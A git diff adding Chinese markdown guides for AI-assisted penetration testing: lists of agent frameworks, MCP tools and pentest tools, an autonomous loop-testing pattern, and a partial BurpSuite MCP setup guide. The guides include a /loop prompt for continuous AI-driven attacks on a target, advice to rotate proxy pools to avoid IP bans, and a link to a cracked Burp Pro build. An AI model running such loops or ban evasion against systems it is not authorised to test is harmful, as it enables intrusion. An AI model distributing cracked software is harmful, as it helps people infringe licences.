reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,148 @@
|
||||
# AI 辅助渗透测试 Agent 资源
|
||||
|
||||
> 2025 年活跃的 AI 渗透测试框架和 MCP 安全工具汇总。
|
||||
> 可作为本包 pentest-tools skill 的补充能力来源。
|
||||
|
||||
---
|
||||
|
||||
## AI 渗透 Agent 框架
|
||||
|
||||
| 项目 | 特点 | 链接 |
|
||||
|------|------|------|
|
||||
| **PentestGPT** | LLM 驱动的自动化渗透框架,支持交互式推理 | https://github.com/GreyDGL/PentestGPT |
|
||||
| **pentest-ai (0xSteph)** | MCP server + Python agents,197+ 安全工具,exploit 链接,PoC 验证 | https://github.com/0xSteph/pentest-ai |
|
||||
| **PentestAgent (GH05TCREW)** | AI agent + MCP 架构,集成 Nmap/Metasploit/FFUF/SQLMap,支持 RAG 本地知识库 | https://github.com/GH05TCREW/PentestAgent |
|
||||
| **BlacksmithAI** | 开源多 Agent 渗透框架,覆盖侦察到后渗透全生命周期 | https://github.com/yohannesgk/blacksmith |
|
||||
| **PentAGI** | 全自主 AI Agent 系统,执行复杂渗透任务 | https://github.com/vxcontrol/pentagi |
|
||||
| **AI-OPS** | 基于开源 LLM 的渗透测试 AI 助手 | https://github.com/antoninoLorenzo/AI-OPS |
|
||||
| **Auto-Pentest-GPT** | LLM 驱动的软件渗透测试 | https://github.com/Armur-Ai/Auto-Pentest-GPT-AI |
|
||||
| **CAI (Cybersecurity AI)** | AI 安全框架 | https://github.com/aliasrobotics/cai |
|
||||
|
||||
### 与本包的集成方式
|
||||
|
||||
这些框架大多支持 MCP 或 HTTP API,可以作为本包 `pentest-tools` skill 的增强后端:
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"pentest-ai": {
|
||||
"url": "http://localhost:8080/mcp"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 逆向工程 MCP Server
|
||||
|
||||
| 项目 | 工具数 | 特点 | 链接 |
|
||||
|------|--------|------|------|
|
||||
| **ida-pro-mcp** | 72 | IDA Pro 全功能 MCP(本包已集成) | https://github.com/mrexodia/ida-pro-mcp |
|
||||
| **GhidraMCP** | 110+ | Ghidra 免费逆向 MCP,近 200 个工具 | https://github.com/LaurieWired/GhidraMCP |
|
||||
| **GhidrAssistMCP** | — | Ghidra + LLM 辅助分析 | GitHub 搜索 GhidrAssistMCP |
|
||||
| **Revula** | — | 通用逆向工程 MCP server | https://mcpservers.org/servers/president-xd/revula |
|
||||
|
||||
### GhidraMCP 集成建议
|
||||
|
||||
GhidraMCP 提供免费的 IDA 替代方案,适合没有 IDA 许可证的用户:
|
||||
|
||||
```text
|
||||
安装:
|
||||
1. 下载 Ghidra: https://ghidra-sre.org/
|
||||
2. 下载 GhidraMCP 插件: https://github.com/LaurieWired/GhidraMCP/releases
|
||||
3. Ghidra → File → Install Extensions → 选择 zip
|
||||
4. 重启 Ghidra → 打开项目 → MCP server 自动监听 localhost:8765
|
||||
|
||||
MCP 注册:
|
||||
{
|
||||
"mcpServers": {
|
||||
"ghidra": {
|
||||
"url": "http://localhost:8765/mcp"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 红队工具资源库
|
||||
|
||||
| 项目 | Stars | 覆盖 | 链接 |
|
||||
|------|-------|------|------|
|
||||
| **RedTeam-Tools (A-poc)** | 8k+ | 红队工具与技术大全 | https://github.com/A-poc/RedTeam-Tools |
|
||||
| **Awesome-Red-Teaming** | 7k+ | 红队资源列表 | https://github.com/yeyintminthuhtut/Awesome-Red-Teaming |
|
||||
| **Awesome-OSINT** | — | OSINT 工具(信息收集/反向搜索/Bug Bounty) | https://github.com/Astrosp/Awesome-OSINT-For-Everything |
|
||||
| **Awesome-AI-Red-Teaming** | — | AI 红队资源(Prompt 注入/模型攻击) | https://github.com/shlomihod/awesome-ai-red-teaming |
|
||||
|
||||
---
|
||||
|
||||
## Frida 脚本资源库
|
||||
|
||||
| 项目 | 特点 | 链接 |
|
||||
|------|------|------|
|
||||
| **awesome-frida** | 3k+ stars,Frida 资源大全 | https://github.com/dweinstein/awesome-frida |
|
||||
| **Frida-Mobile-Scripts** | 移动端 Frida 脚本集合(SSL/Root/Hook) | https://github.com/m0bilesecurity/Frida-Mobile-Scripts |
|
||||
| **FriList** | 实用 Frida 脚本集合 | https://github.com/rsenet/FriList |
|
||||
| **frida-codeshare-scripts** | 全网最全 Frida 脚本收集(中文) | https://github.com/zengfr/frida-codeshare-scripts |
|
||||
| **FridaScripts (apkunpacker)** | APK 脱壳/Hook 脚本 | https://github.com/apkunpacker/FridaScripts |
|
||||
| **Awesmoe-Frida-Scripts** | MAPT(移动应用渗透测试)Frida 脚本 | https://github.com/TheBountyBox/Awesmoe-Frida-Scripts |
|
||||
| **0xdea/frida-scripts** | 移动应用逆向 Frida 脚本 | https://github.com/0xdea/frida-scripts |
|
||||
|
||||
---
|
||||
|
||||
## 方法论与知识库
|
||||
|
||||
| 资源 | 说明 | 链接 |
|
||||
|------|------|------|
|
||||
| **HackTricks** | 渗透技巧百科(Web/Network/AD/Cloud/Mobile) | https://hacktricks.wiki/ |
|
||||
| **HackTricks Cloud** | 云渗透方法论(AWS/GCP/Azure/CI-CD) | https://cloud.hacktricks.xyz/ |
|
||||
| **OWASP MASTG** | 移动应用安全测试指南(官方) | https://mas.owasp.org/ |
|
||||
| **OWASP Mobile Top 10 (2024)** | 移动应用十大风险 | https://owasp.org/www-project-mobile-top-10/ |
|
||||
| **PayloadsAllTheThings** | 各类漏洞 Payload 大全 | https://github.com/swisskyrepo/PayloadsAllTheThings |
|
||||
| **MITRE ATT&CK** | 攻击技术知识库 | https://attack.mitre.org/ |
|
||||
| **GTFOBins** | Unix 提权二进制 | https://gtfobins.github.io/ |
|
||||
| **LOLBAS** | Windows 提权二进制 | https://lolbas-project.github.io/ |
|
||||
| **WADComs** | Windows/AD 命令速查 | https://wadcoms.github.io/ |
|
||||
|
||||
---
|
||||
|
||||
## MCP 安全生态
|
||||
|
||||
| 类别 | 项目 | 说明 |
|
||||
|------|------|------|
|
||||
| 渗透全家桶 | pentestMCP | Docker 一键 20+ 工具 |
|
||||
| 单工具 MCP | nmap-mcp-server | Nmap MCP |
|
||||
| 单工具 MCP | nuclei-mcp | Nuclei MCP |
|
||||
| 逆向 | ida-pro-mcp | IDA Pro MCP(本包已集成) |
|
||||
| 逆向 | GhidraMCP | Ghidra MCP(免费替代) |
|
||||
| 浏览器 | anything-analyzer | 浏览器+HTTP 捕获(本包已集成) |
|
||||
| JS Hook | jshookmcp | CDP/Hook/Network(本包已集成) |
|
||||
| Web 代理 | BurpSuite MCP | BurpSuite 扩展 |
|
||||
| 安全扫描 | mcp-security-hub | 模块化安全 MCP |
|
||||
|
||||
---
|
||||
|
||||
## 学习路径建议
|
||||
|
||||
### 入门(1-2 周)
|
||||
|
||||
1. 读 HackTricks 的 Pentesting Methodology 章节
|
||||
2. 在 HackTheBox/TryHackMe 做 5 个 Easy 靶机
|
||||
3. 熟悉 Nmap + Nuclei + FFUF 基础用法
|
||||
4. 用本包的 `pentest-tools` skill 辅助
|
||||
|
||||
### 进阶(1-2 月)
|
||||
|
||||
1. 学习 OWASP Top 10 每个漏洞的原理和利用
|
||||
2. 做 10 个 Medium 靶机
|
||||
3. 学习内网渗透基础(Impacket/BloodHound)
|
||||
4. 开始参与 Bug Bounty(从 VDP 开始)
|
||||
|
||||
### 高级(持续)
|
||||
|
||||
1. 红队全链路(初始访问→提权→横向→持久化→数据外带)
|
||||
2. AD 域渗透深入
|
||||
3. 云安全(AWS/Azure/GCP)
|
||||
4. AI 辅助渗透(用本包 + AI Agent 框架)
|
||||
5. 开发自己的工具和 MCP server
|
||||
@@ -0,0 +1,73 @@
|
||||
# AI 渗透测试工具全景(2026 年)
|
||||
|
||||
> 来源:多篇行业分析文章(2026 年 1-5 月)
|
||||
> 适用场景:选择 AI 渗透工具时的参考、了解行业趋势
|
||||
|
||||
## 行业现状(2026)
|
||||
|
||||
AI 自主渗透测试在 2026 年已跨过关键门槛。根据多篇行业报告的共识:
|
||||
|
||||
- AI agent 现在可以在 15 分钟内攻破 Active Directory 环境
|
||||
- 在 Bug Bounty 排行榜上已超越部分人类黑客
|
||||
- 国家级攻击者(中国、朝鲜、俄罗斯、伊朗)已将 AI 嵌入攻击工作流
|
||||
- 9000+ Nuclei 模板由 100,000+ 安全工程师社区维护
|
||||
|
||||
## 开源 AI 渗透工具对比
|
||||
|
||||
| 工具 | 架构 | 执行能力 | 状态管理 | 工具集成 | MCP | 真正自主 |
|
||||
|------|------|---------|---------|---------|-----|---------|
|
||||
| **Pentest Swarm AI** | Stigmergic blackboard | 执行 | pgvector + pheromones | 8 ProjectDiscovery + nmap | ✓ | ✓ 真 swarm |
|
||||
| **PentestGPT** | 单 agent ReAct | 建议 | 无 | 无原生 | ✗ | ✗ |
|
||||
| **HackingBuddyGPT** | 单 agent | 执行 | 运行日志 | Shell 透传 | ✗ | ✗ |
|
||||
| **PentAGI** | 4 agent + planner | 执行 | pgvector | 40+ via MCP/shell | 部分 | Pipeline |
|
||||
| **Shannon** | 白盒 + 浏览器 | 执行 | Session state | Browser DOM | ✗ | Pipeline |
|
||||
| **HexStrike AI** | MCP 工具包装 | 委托给客户端 LLM | 无(无状态) | 150+ via MCP | ✓ | ✗ |
|
||||
| **CAI** | 网络安全 AI 框架 | 执行 | — | — | — | 声称 3600x 快于人类 |
|
||||
| **BlacksmithAI** | 多 agent | 执行 | — | — | — | — |
|
||||
|
||||
> 内容基于搜索结果整理,标注置信度:中高。各工具快速迭代中,建议定期验证。
|
||||
|
||||
## 商业 AI 渗透工具(参考)
|
||||
|
||||
根据 2026 年多篇行业对比文章,商业领域的主要玩家:
|
||||
|
||||
| 工具 | 定位 | 特点 |
|
||||
|------|------|------|
|
||||
| Pentera | 自动化渗透验证 | 企业级,模拟真实攻击路径 |
|
||||
| XBOW | 自主 Bug Bounty | AI agent 自动挖洞提交 |
|
||||
| Escape | API 安全测试 | 专注 API/GraphQL |
|
||||
| Hadrian | 攻击面管理 | 持续监控 + 自动验证 |
|
||||
| Intruder | 漏洞扫描 | 简单易用,适合中小团队 |
|
||||
| Mindfort | AI 红队 | 自主攻击链构建 |
|
||||
|
||||
## 与本包的关系
|
||||
|
||||
本包(Cybersecurity Skills Router)的定位是**知识路由层**,不是执行引擎。它解决的是:
|
||||
|
||||
1. AI 怎么知道该用什么方法论 → routing.md
|
||||
2. AI 怎么知道本机有什么工具 → tool-index.md
|
||||
3. AI 怎么避免重复踩坑 → field-journal/
|
||||
4. AI 怎么调用执行引擎 → MCP 配置 + bootstrap
|
||||
|
||||
上面列出的工具(特别是 Pentest Swarm AI、HexStrike AI、mcp-kali-server)都可以作为本包的**执行后端**,通过 MCP 接入。
|
||||
|
||||
## 推荐组合
|
||||
|
||||
```
|
||||
本包(路由 + 方法论 + 经验)
|
||||
↓ 路由到渗透测试
|
||||
pentest-tools/SKILL.md
|
||||
↓ 选择执行方式
|
||||
├── 手动:AI 通过 mcp-kali-server 逐步调用 nmap/sqlmap/...
|
||||
├── 半自动:AI 通过 metasploitmcp 管理 exploit session
|
||||
├── 全自动(单目标):hexstrike-ai 编排 150+ 工具
|
||||
└── 全自动(大规模):pentestswarm --swarm 群体渗透
|
||||
```
|
||||
|
||||
## 趋势观察
|
||||
|
||||
1. **MCP 成为标准** — 几乎所有新工具都支持 MCP 协议
|
||||
2. **Swarm > Pipeline** — 群体智能架构开始取代固定流水线
|
||||
3. **本地化** — Ollama/LM Studio 让完全离线渗透成为可能
|
||||
4. **Kali 官方拥抱 AI** — 官方博客系列 + 官方收录 MCP 工具
|
||||
5. **Nuclei 模板 + AI** — AI 自动生成/优化 Nuclei 模板成为新方向
|
||||
@@ -0,0 +1,153 @@
|
||||
# 自动化循环测试模式
|
||||
|
||||
> 参考自实战经验:用 AI agent 循环驱动渗透测试,实现半自动化 SRC 漏洞挖掘。
|
||||
|
||||
---
|
||||
|
||||
## 核心思路
|
||||
|
||||
让 AI 不断问自己三个问题,形成循环:
|
||||
|
||||
```text
|
||||
1. 这个漏洞是否是高危漏洞?
|
||||
2. 这个漏洞是否利用成功?
|
||||
3. 这个目标是否还存在其他漏洞?
|
||||
```
|
||||
|
||||
只要第 3 个问题的答案是"可能",循环就继续。
|
||||
|
||||
---
|
||||
|
||||
## 循环架构
|
||||
|
||||
```text
|
||||
┌─────────────────────────────────────────┐
|
||||
│ 初始化:确定目标、范围、工具链 │
|
||||
└─────────────────┬───────────────────────┘
|
||||
▼
|
||||
┌─────────────────────────────────────────┐
|
||||
│ Step 1: 信息收集(Nmap/子域名/目录) │
|
||||
└─────────────────┬───────────────────────┘
|
||||
▼
|
||||
┌─────────────────────────────────────────┐
|
||||
│ Step 2: 漏洞检测(Nuclei/SQLMap/手动) │
|
||||
└─────────────────┬───────────────────────┘
|
||||
▼
|
||||
┌─────────────────────────────────────────┐
|
||||
│ Step 3: 验证利用(PoC/截图/证据) │
|
||||
└─────────────────┬───────────────────────┘
|
||||
▼
|
||||
┌─────────────────────────────────────────┐
|
||||
│ Step 4: 记录发现 → 判断是否继续 │
|
||||
│ - 还有未测试的接口?→ 回到 Step 2 │
|
||||
│ - 还有未测试的子域?→ 回到 Step 1 │
|
||||
│ - 全部测完?→ 生成报告,结束 │
|
||||
└─────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 实现方式
|
||||
|
||||
### 方式 1:Claude Code /loop 命令
|
||||
|
||||
```text
|
||||
/loop "对目标 https://target.com 进行渗透测试。每轮测试一个接口或功能点。
|
||||
测试完成后判断:
|
||||
1. 是否发现漏洞?如果是,记录并继续
|
||||
2. 是否还有未测试的攻击面?如果是,继续下一轮
|
||||
3. 如果全部测完,生成报告并停止"
|
||||
```
|
||||
|
||||
### 方式 2:planning-with-files
|
||||
|
||||
使用 [planning-with-files](https://github.com/othmanadi/planning-with-files) skill:
|
||||
- 创建一个 `plan.md` 文件记录测试计划
|
||||
- 每完成一步就更新计划状态
|
||||
- AI 读取计划文件决定下一步
|
||||
|
||||
### 方式 3:自定义循环 prompt
|
||||
|
||||
在 RULES.md 或 skill 中写入循环逻辑:
|
||||
|
||||
```markdown
|
||||
## 自动化测试循环
|
||||
|
||||
当进入渗透测试模式时,按以下循环执行:
|
||||
|
||||
1. 读取当前测试计划(如果没有则创建)
|
||||
2. 选择下一个未测试的目标/接口/功能点
|
||||
3. 执行测试(信息收集 → 漏洞检测 → 验证)
|
||||
4. 记录结果到测试计划
|
||||
5. 判断:
|
||||
- 发现高危漏洞 → 立即通知用户
|
||||
- 还有未测试项 → 回到步骤 2
|
||||
- 全部完成 → 生成报告
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 关键经验
|
||||
|
||||
### 1. 工具不要太多
|
||||
|
||||
> "太多的工具不仅会影响模型的判断,还会将大量的时间重复在一个点上"
|
||||
|
||||
建议每个测试类型只保留 1-2 个核心工具:
|
||||
- SQL 注入 → SQLMap(不要再加 FFUF 做注入)
|
||||
- 目录爆破 → FFUF(不要再加 Gobuster + dirsearch)
|
||||
- 漏洞扫描 → Nuclei(不要再加 Nikto + OpenVAS)
|
||||
|
||||
### 2. Skill 要写具体场景
|
||||
|
||||
不要只写"测试 SQL 注入",要写:
|
||||
- 遇到 WAF 怎么绕过
|
||||
- 遇到参数加密怎么处理
|
||||
- 遇到 JSON body 怎么测试
|
||||
- 什么时候用时间盲注 vs 联合查询
|
||||
|
||||
### 3. 循环时间会越来越短
|
||||
|
||||
实测第 7 轮循环只需要 2 分钟——因为 AI 已经熟悉了目标结构,不需要重复信息收集。
|
||||
|
||||
### 4. 代理池防封
|
||||
|
||||
批量测试时必须走代理池,否则 IP 会被封:
|
||||
|
||||
```text
|
||||
所有扫描流量 → ProxyCat 代理池端口 → 目标
|
||||
```
|
||||
|
||||
推荐:[ProxyCat](https://github.com/honmashironeko/ProxyCat) — 将静态代理 IP 变成隧道 IP
|
||||
|
||||
---
|
||||
|
||||
## 配合 BurpSuite MCP
|
||||
|
||||
BurpSuite 有 MCP 扩展(通过扩展市场安装),可以让 AI 直接:
|
||||
- 查看 Burp 拦截的请求
|
||||
- 重放修改后的请求
|
||||
- 读取扫描结果
|
||||
- 操作 Intruder/Repeater
|
||||
|
||||
工作流:
|
||||
```text
|
||||
浏览器手动操作 → Burp 拦截流量 → AI 通过 MCP 读取请求 → AI 分析并构造攻击 → 通过 Burp 重放
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 与我们系统的集成
|
||||
|
||||
在我们的行为链中,循环测试对应步骤 10(执行任务)的内部循环:
|
||||
|
||||
```text
|
||||
8. 如果缺工具 → bootstrap 自动补齐
|
||||
9. 如果补齐失败 → 引导用户
|
||||
10. 进入 skill 工作流 → 执行任务
|
||||
└── 内部循环:测试 → 记录 → 判断 → 继续/停止
|
||||
11. 任务完成 → 生成报告(含图表)
|
||||
12. 回写经验
|
||||
```
|
||||
|
||||
每次循环发现的漏洞都应该实时记录,不要等全部完成才记录。
|
||||
@@ -0,0 +1,175 @@
|
||||
# 渗透测试工具精华速查
|
||||
|
||||
> 精选自 [awesome-pentest](https://github.com/enaqx/awesome-pentest)(25k+ stars,CC-BY 4.0)
|
||||
> 按实战场景分类,只保留最常用和最有效的工具。
|
||||
|
||||
---
|
||||
|
||||
## 信息收集
|
||||
|
||||
### 网络侦察
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| Nmap | 端口扫描/服务识别/OS检测 | https://nmap.org/ |
|
||||
| Masscan | 大规模快速端口扫描 | https://github.com/robertdavidgraham/masscan |
|
||||
| RustScan | 快速端口扫描+自动 pipe 到 Nmap | https://github.com/rustscan/rustscan |
|
||||
| Zmap | 全网扫描 | https://zmap.io/ |
|
||||
|
||||
### 子域名/DNS
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| OWASP Amass | 子域名枚举(多源) | https://github.com/OWASP/Amass |
|
||||
| Subfinder | 被动子域名发现 | https://github.com/projectdiscovery/subfinder |
|
||||
| dnsrecon | DNS 枚举 | https://github.com/darkoperator/dnsrecon |
|
||||
| fierce | DNS 侦察 | https://github.com/mschwager/fierce |
|
||||
|
||||
### OSINT
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| theHarvester | 邮箱/子域名/人名收集 | https://github.com/laramies/theHarvester |
|
||||
| Recon-ng | OSINT 框架 | https://github.com/lanmaster53/recon-ng |
|
||||
| SpiderFoot | 多源 OSINT 自动化 | http://www.spiderfoot.net/ |
|
||||
| Shodan | 联网设备搜索引擎 | https://www.shodan.io/ |
|
||||
|
||||
---
|
||||
|
||||
## 漏洞扫描
|
||||
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| Nuclei | 模板化漏洞扫描 | https://github.com/projectdiscovery/nuclei |
|
||||
| Nikto | Web 服务器漏洞扫描 | https://github.com/sullo/nikto |
|
||||
| WPScan | WordPress 漏洞扫描 | https://wpscan.org/ |
|
||||
| OpenVAS | 综合漏洞评估 | http://www.openvas.org/ |
|
||||
|
||||
---
|
||||
|
||||
## Web 渗透
|
||||
|
||||
### 注入
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| SQLMap | SQL 注入自动化 | http://sqlmap.org/ |
|
||||
| NoSQLMap | NoSQL 注入 | https://github.com/codingo/NoSQLMap |
|
||||
| Commix | 命令注入 | https://github.com/commixproject/commix |
|
||||
| tplmap | 模板注入 | https://github.com/epinna/tplmap |
|
||||
|
||||
### 目录/路径发现
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| FFUF | 快速 fuzzing | https://github.com/ffuf/ffuf |
|
||||
| Gobuster | 目录/子域名爆破 | https://github.com/OJ/gobuster |
|
||||
| dirsearch | Web 路径扫描 | https://github.com/maurosoria/dirsearch |
|
||||
| feroxbuster | 递归目录发现 | https://github.com/epi052/feroxbuster |
|
||||
|
||||
### 代理/拦截
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| Burp Suite | Web 安全测试平台 | https://portswigger.net/burp/ |
|
||||
| OWASP ZAP | 免费 Web 代理/扫描 | https://www.zaproxy.org/ |
|
||||
| mitmproxy | 可编程 HTTP 代理 | https://mitmproxy.org/ |
|
||||
|
||||
---
|
||||
|
||||
## 密码破解
|
||||
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| Hashcat | GPU 哈希破解 | http://hashcat.net/hashcat/ |
|
||||
| John the Ripper | CPU 哈希破解 | http://www.openwall.com/john/ |
|
||||
| Hydra | 在线暴力破解 | https://github.com/vanhauser-thc/thc-hydra |
|
||||
| CeWL | 从网站生成字典 | https://digi.ninja/projects/cewl.php |
|
||||
|
||||
---
|
||||
|
||||
## 利用框架
|
||||
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| Metasploit | 漏洞利用框架 | https://www.metasploit.com/ |
|
||||
| Pwntools | CTF/exploit 开发 | https://github.com/Gallopsled/pwntools |
|
||||
| Impacket | Windows 协议利用 | https://github.com/CoreSecurity/impacket |
|
||||
| CrackMapExec | 内网渗透瑞士军刀 | https://github.com/byt3bl33d3r/CrackMapExec |
|
||||
|
||||
---
|
||||
|
||||
## 权限提升
|
||||
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| LinEnum | Linux 提权枚举 | https://github.com/rebootuser/LinEnum |
|
||||
| LinPEAS/WinPEAS | 自动提权枚举 | https://github.com/carlospolop/PEASS-ng |
|
||||
| GTFOBins | Unix 提权二进制 | https://gtfobins.github.io/ |
|
||||
| LOLBAS | Windows 提权二进制 | https://lolbas-project.github.io/ |
|
||||
| BloodHound | AD 信任关系图 | https://github.com/adaptivethreat/Bloodhound |
|
||||
| Mimikatz | Windows 凭证提取 | http://blog.gentilkiwi.com/mimikatz |
|
||||
|
||||
---
|
||||
|
||||
## 社会工程
|
||||
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| SET | 社工攻击框架 | https://github.com/trustedsec/social-engineer-toolkit |
|
||||
| Gophish | 钓鱼平台 | https://getgophish.com |
|
||||
| Evilginx2 | 2FA 钓鱼 | https://github.com/kgretzky/evilginx2 |
|
||||
| King Phisher | 钓鱼管理 | https://github.com/securestate/king-phisher |
|
||||
|
||||
---
|
||||
|
||||
## 无线网络
|
||||
|
||||
| 工具 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| Aircrack-ng | WiFi 审计套件 | http://www.aircrack-ng.org/ |
|
||||
| Wifite | 自动化 WiFi 攻击 | https://github.com/derv82/wifite |
|
||||
| Kismet | 无线嗅探/IDS | https://kismetwireless.net/ |
|
||||
| Pwnagotchi | AI WiFi 审计 | https://github.com/evilsocket/pwnagotchi |
|
||||
|
||||
---
|
||||
|
||||
## 必备字典/Payload
|
||||
|
||||
| 资源 | 用途 | 链接 |
|
||||
|------|------|------|
|
||||
| SecLists | 字典大全(用户名/密码/目录/payload) | https://github.com/danielmiessler/SecLists |
|
||||
| PayloadsAllTheThings | 各类漏洞 payload | https://github.com/swisskyrepo/PayloadsAllTheThings |
|
||||
| FuzzDB | Fuzzing 字典 | https://github.com/fuzzdb-project/fuzzdb |
|
||||
| RobotsDisallowed | robots.txt 路径集合 | https://github.com/danielmiessler/RobotsDisallowed |
|
||||
|
||||
---
|
||||
|
||||
## 漏洞数据库
|
||||
|
||||
| 资源 | 链接 |
|
||||
|------|------|
|
||||
| Exploit-DB | https://www.exploit-db.com/ |
|
||||
| CVE (MITRE) | https://cve.mitre.org/ |
|
||||
| NVD (NIST) | https://nvd.nist.gov/ |
|
||||
| Packet Storm | https://packetstormsecurity.com/ |
|
||||
| VulDB | https://vuldb.com |
|
||||
|
||||
---
|
||||
|
||||
## 学习资源
|
||||
|
||||
| 资源 | 说明 | 链接 |
|
||||
|------|------|------|
|
||||
| HackTricks | 渗透技巧百科 | https://book.hacktricks.wiki/ |
|
||||
| MITRE ATT&CK | 攻击技术知识库 | https://attack.mitre.org/ |
|
||||
| OWASP | Web 安全标准 | https://www.owasp.org/ |
|
||||
| CTFTime | CTF 赛事/writeup | https://ctftime.org/ |
|
||||
| Metasploit Unleashed | 免费 MSF 课程 | https://www.offensive-security.com/metasploit-unleashed/ |
|
||||
|
||||
---
|
||||
|
||||
## 靶场练习
|
||||
|
||||
| 靶场 | 说明 |
|
||||
|------|------|
|
||||
| DVWA | `docker pull citizenstig/dvwa` |
|
||||
| OWASP Juice Shop | `docker pull bkimminich/juice-shop` |
|
||||
| WebGoat | `docker pull webgoat/webgoat-8.0` |
|
||||
| Pentest-Ground | https://pentest-ground.com/ |
|
||||
| HackTheBox | https://www.hackthebox.com/ |
|
||||
| TryHackMe | https://tryhackme.com/ |
|
||||
@@ -0,0 +1,769 @@
|
||||
# BurpSuite MCP 完整使用指南
|
||||
|
||||
> 来源:PortSwigger 官方文档 + TrustedSec + InfoSec Write-ups(2026-05-24)
|
||||
> 适用场景:Web 渗透测试中需要 AI 辅助分析流量、自动化攻击、生成报告
|
||||
|
||||
## 概述
|
||||
|
||||
BurpSuite MCP 将 Burp Suite 的所有核心功能暴露给 AI 客户端(Kiro/Claude/Cursor),实现:
|
||||
- AI 自动读取代理历史,分析请求中的漏洞
|
||||
- AI 自动构造攻击 payload 并通过 Intruder 枚举
|
||||
- AI 自动将可疑请求发到 Repeater 验证
|
||||
- AI 自动生成渗透测试报告
|
||||
|
||||
## 安装
|
||||
|
||||
### 前置条件
|
||||
- BurpSuite Professional(社区版功能受限)
|
||||
- 下载地址:https://www.52pojie.cn/thread-2005151-1-1.html (汉化一键启动版)
|
||||
|
||||
### 安装 MCP 扩展
|
||||
|
||||
**方法 A:使用本项目自带扩展(推荐,78 个工具全覆盖)**
|
||||
|
||||
Windows:
|
||||
```
|
||||
1. 打开 Burp Suite Pro
|
||||
2. Extensions → Installed → Add
|
||||
3. Extension Type: Java
|
||||
4. Select file: <SKILL_ROOT>\burp-mcp-full\build\libs\burp-mcp-full.jar
|
||||
5. 看到 [MCP] Server started on http://127.0.0.1:9876 即成功
|
||||
```
|
||||
|
||||
Linux / Kali / macOS:
|
||||
```
|
||||
1. 先编译: cd <SKILL_ROOT>/burp-mcp-full && chmod +x build.sh && ./build.sh
|
||||
2. 打开 Burp Suite Pro
|
||||
3. Extensions → Installed → Add → Java
|
||||
4. Select: <SKILL_ROOT>/burp-mcp-full/build/libs/burp-mcp-full.jar
|
||||
5. 看到 [MCP] Server started 即成功
|
||||
```
|
||||
|
||||
**方法 B:使用 PortSwigger 官方扩展(21 个工具)**
|
||||
```
|
||||
1. Extensions → BApp Store → 搜索 "MCP Server" → Install
|
||||
2. 去 MCP tab → Enable
|
||||
3. 端口默认 9876
|
||||
```
|
||||
|
||||
### Kiro MCP 配置(已自动写入用户级别)
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"burpsuite": {
|
||||
"command": "node",
|
||||
"args": ["D:\\reverse-skill-private-main\\burp-mcp-full\\mcp-bridge.js"]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
适用于所有 MCP 客户端(Kiro / Claude Code / Cursor / Cline / Windsurf)。
|
||||
|
||||
### 跨平台 MCP 配置
|
||||
|
||||
**Windows**:
|
||||
```json
|
||||
{ "command": "node", "args": ["<SKILL_ROOT>\\burp-mcp-full\\mcp-bridge.js"] }
|
||||
```
|
||||
|
||||
**Linux / Kali / macOS**:
|
||||
```json
|
||||
{ "command": "node", "args": ["<SKILL_ROOT>/burp-mcp-full/mcp-bridge.js"] }
|
||||
```
|
||||
|
||||
> `<SKILL_ROOT>` 替换为本包的实际安装路径。AI 读取 RULES.md 时会自动检测并替换。
|
||||
|
||||
### 环境变量(可选)
|
||||
|
||||
| 变量 | 默认值 | 说明 |
|
||||
|------|--------|------|
|
||||
| `BURP_MCP_HOST` | `127.0.0.1` | Burp HTTP API 地址 |
|
||||
| `BURP_MCP_PORT` | `9876` | Burp HTTP API 端口 |
|
||||
|
||||
如果 Burp 跑在远程机器或不同端口,设置这两个环境变量即可。
|
||||
|
||||
### 重要:协议说明
|
||||
|
||||
本扩展通过 **stdio MCP 桥接器**(`mcp-bridge.js`)实现标准 MCP JSON-RPC 2.0 协议:
|
||||
- Burp 扩展监听 `127.0.0.1:9876`(自定义 HTTP API)
|
||||
- `mcp-bridge.js` 将标准 MCP stdio 协议转发到 HTTP API
|
||||
- 所有 MCP 客户端通过 stdio 与桥接器通信
|
||||
|
||||
**前提**:Burp Suite 必须在运行且扩展已加载。
|
||||
|
||||
**健康检查**:`GET http://127.0.0.1:9876/health`
|
||||
**工具列表**:`GET http://127.0.0.1:9876/tools`
|
||||
|
||||
## 使用场景与工作流
|
||||
|
||||
### 场景 1:AI 辅助流量分析(最常用)
|
||||
|
||||
**何时使用**:浏览器挂 Burp 代理浏览目标网站后,让 AI 分析所有捕获的流量
|
||||
|
||||
**工作流**:
|
||||
```
|
||||
1. 浏览器设置 Burp 代理 (127.0.0.1:8080)
|
||||
2. 正常浏览目标网站(登录、操作功能)
|
||||
3. 告诉 AI:"分析 Burp 代理历史中的所有请求,找出安全问题"
|
||||
4. AI 调用 proxy_history → 获取所有请求
|
||||
5. AI 调用 proxy_detail → 查看可疑请求的完整内容
|
||||
6. AI 调用 search_history → 用正则搜索敏感信息
|
||||
7. AI 输出发现的漏洞列表
|
||||
```
|
||||
|
||||
**示例 Prompt**:
|
||||
```
|
||||
分析我 Burp 代理历史中 personalblog.fun 的所有请求。
|
||||
